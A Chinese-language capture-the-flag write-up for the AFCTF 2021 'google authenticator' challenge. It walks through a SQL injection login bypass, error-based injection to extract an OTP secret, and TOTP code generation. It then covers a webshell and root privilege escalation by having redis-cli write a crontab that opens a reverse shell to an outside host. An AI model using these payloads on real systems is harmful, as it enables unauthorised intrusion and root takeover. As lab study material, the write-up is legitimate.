[AFCTF 2021]google authenticator


前置知识

谷歌身份验证

GitHub上有开源的项目
参考文章

我们下载下载该项目,然后按照给的exp修改一下
在这里插入图片描述在该项目创建exp.php,内容如下

<?php
require_once 'PHPGangsta/GoogleAuthenticator.php';

$ga = new PHPGangsta_GoogleAuthenticator();
$secret = 'IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB';
$oneCode = $ga->getCode($secret);
echo "Checking Code '$oneCode' and Secret '$secret':\n";

成功生成验证码
在这里插入图片描述

redis-cli结合定时任务提权

步骤如下

redis-cli -h 靶机ip
config set dir /var/spool/cron
config set dbfilename root
set task "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/5i781963p2.yicp.fun/58265 0>&1\n\n"
save

然后开启监听,过一会就会发现反弹shell成功并且是root权限

解题过程

打开题目发现是登录框
在这里插入图片描述
直接试试万能密码登录成功

1' or 1=1#
123456

提示/google_authenticator.php,访问一下发现要验证身份
在这里插入图片描述没啥线索只好回去继续sql注入
一开始尝试联合注入发现只能知道字段数为4
在这里插入图片描述
试试报错注入,存在回显
在这里插入图片描述
然后一步步注入

//爆数据库  actf_is_fun
1' and updatexml(1,concat(0x7e,database(),0x7e),3)#

//爆表名  users
1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='actf_is_fun'),1,31),0x7e),3)#

//爆列名  id,username,password,otp_secret_key
1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),3)#

这里的列名长度不够,_key在后面
然后我们知道要身份验证,我们查询otp_secret_key(很长)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXQiOiJJRkJWSVJTN01KU1hJNURGT0pQV0MzVEVMNVJHSzVEVU1WWkNDSUpCIiwiaWF0IjoxNTE2MjM5MDIyfQ.AQSSxyPihDP8dhVEMpaWrSv2scrEEc2HOmqfAwXqWLY

解码一下得到密钥
在这里插入图片描述
然后就是利用脚本得到验证码

<?php
require_once 'PHPGangsta/GoogleAuthenticator.php';

$ga = new PHPGangsta_GoogleAuthenticator();
$secret = 'IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB';
$oneCode = $ga->getCode($secret);
echo "Checking Code '$oneCode' and Secret '$secret':\n";

输入验证码
在这里插入图片描述继续访问,发现可以蚁剑连接
在这里插入图片描述
连接上后发现权限不够,开始想用suid提权发现不行
查看下历史进程

ps aux

发现是redis数据库
在这里插入图片描述
利用redis提权方式有几种,主从复制版本问题用不了,写马权限不够
这里用的是redis-cli结合定时任务来反弹root权限的shell提权
我们先反弹shell到服务器上
在这里插入图片描述然后就是提权,由于我们是反弹shell,而redis-cli需要交互模式,但是反弹shell不是交互模式,我们需要将非交互模式变为交互模式(就是进入终端)
步骤如下

redis-cli <<-END
config set dir /var/spool/cron
config set dbfilename root
set task "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/5i781963p2.yicp.fun/58265 0>&1\n\n"
save
END

在这里插入图片描述
开启监听,过一会反弹成功得到root权限
在这里插入图片描述

相关推荐

  1. (BUUCTF)actf_2019_actfnote

    2023-12-20 15:12:02       36 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-20 15:12:02       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-20 15:12:02       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-20 15:12:02       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-20 15:12:02       18 阅读

热门阅读

  1. vue3虚拟dom和diff算法实现(模仿源码)

    2023-12-20 15:12:02       34 阅读
  2. npm run build Last few GCs

    2023-12-20 15:12:02       42 阅读
  3. 华纳云:Ubuntu下LAMP环境如何配置

    2023-12-20 15:12:02       36 阅读
  4. 【刷题·链表】两数相加

    2023-12-20 15:12:02       39 阅读
  5. 在.NET中,如果你需要自动填充测试数据

    2023-12-20 15:12:02       36 阅读
  6. 【手撕算法系列】k-means

    2023-12-20 15:12:02       42 阅读
  7. Gitlab 登录报422错误,账号密码是正确的

    2023-12-20 15:12:02       32 阅读
  8. 207. Course Schedule

    2023-12-20 15:12:02       48 阅读
  9. @Controller 和 @RestController 区别

    2023-12-20 15:12:02       39 阅读
  10. Spring-MVC--ControllerAdvice 全局控制器增强

    2023-12-20 15:12:02       37 阅读